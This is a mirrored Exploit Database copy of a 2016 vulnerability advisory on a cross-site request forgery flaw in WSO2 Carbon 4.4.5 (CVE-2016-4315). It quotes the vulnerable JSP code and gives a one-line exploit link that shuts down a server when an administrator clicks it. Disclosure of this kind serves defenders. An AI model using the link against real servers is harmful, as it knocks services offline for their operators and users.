WSO2 Carbon 4.4.5 – Denial of Service / Cross-Site Request Forgery

• Exploit Database
• 41 阅读

• 作者： hyp3rlinx
  日期： 2016-08-16
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/40242/

• [+] Credits: John Page aka HYP3RLINX
  
  [+] Website: hyp3rlinx.altervista.org
  
  [+] Source:http://hyp3rlinx.altervista.org/advisories/WSO2-CARBON-v4.4.5-CSRF-DOS.txt
  
  [+] ISR: ApparitionSec
  
  
  Vendor:
  ============
  www.wso2.com
  
  
  Product:
  ==================
  Ws02Carbon v4.4.5
  
  WSO2 Carbon is the core platform on which WSO2 middleware products are built. It is based on Java OSGi technology, which allows
  components to be dynamically installed, started, stopped, updated, and uninstalled, and it eliminates component version conflicts.
  In Carbon, this capability translates into a solid core of common middleware enterprise components, including clustering, security,
  logging, and monitoring, plus the ability to add components for specific features needed to solve a specific enterprise scenario.
  
  
  Vulnerability Type:
  =================================
  Cross Site Request Forgery / DOS
  
  
  CVE Reference:
  ==============
  CVE-2016-4315
  
  
  Vulnerability Details:
  =====================
  
  The attack involves tricking a privileged user to initiate a request by clicking a malicious link or visiting an evil webpage to
  shutdown WSO2 Servers.
  
  
  References:
  https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0101
  
  
  The getSafeText() Function and conditional logic below processes the "action" parameter with no check for inbound CSRF attacks.
  
  String cookie = (String) session.getAttribute(ServerConstants.ADMIN_SERVICE_COOKIE);
  String action = CharacterEncoder.getSafeText(request.getParameter("action"));
  ServerAdminClient client = new ServerAdminClient(ctx, backendServerURL, cookie, session);
  
  try { 
  if ("restart".equals(action)) {
  client.restart();
   } else if ("restartGracefully".equals(action)) {
   client.restartGracefully();
   } else if ("shutdown".equals(action)) {
   client.shutdown();
  } else if ("shutdownGracefully".equals(action)) {
  client.shutdownGracefully();
  }
   } catch (Exception e) {
  response.sendError(500, e.getMessage());
   return;
   }
  
  
  
  Exploit code(s):
  ===============
  
  Shutdown the Carbon server
  
  <a href="https://victim-server:9443/carbon/server-admin/proxy_ajaxprocessor.jsp?action=shutdown">Shut it down!</a>
  
  
  Disclosure Timeline:
  ==========================================
  Vendor Notification: May 6, 2016
  Vendor Acknowledgement: May 6, 2016
  Vendor Fix / Customer Alerts: June 30, 2016
  August 12, 2016: Public Disclosure
  
  
  Exploitation Technique:
  =======================
  Remote
  
  
  Severity Level:
  ================
  Medium
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
  or exploits by the author or elsewhere.
  
  HYP3RLINX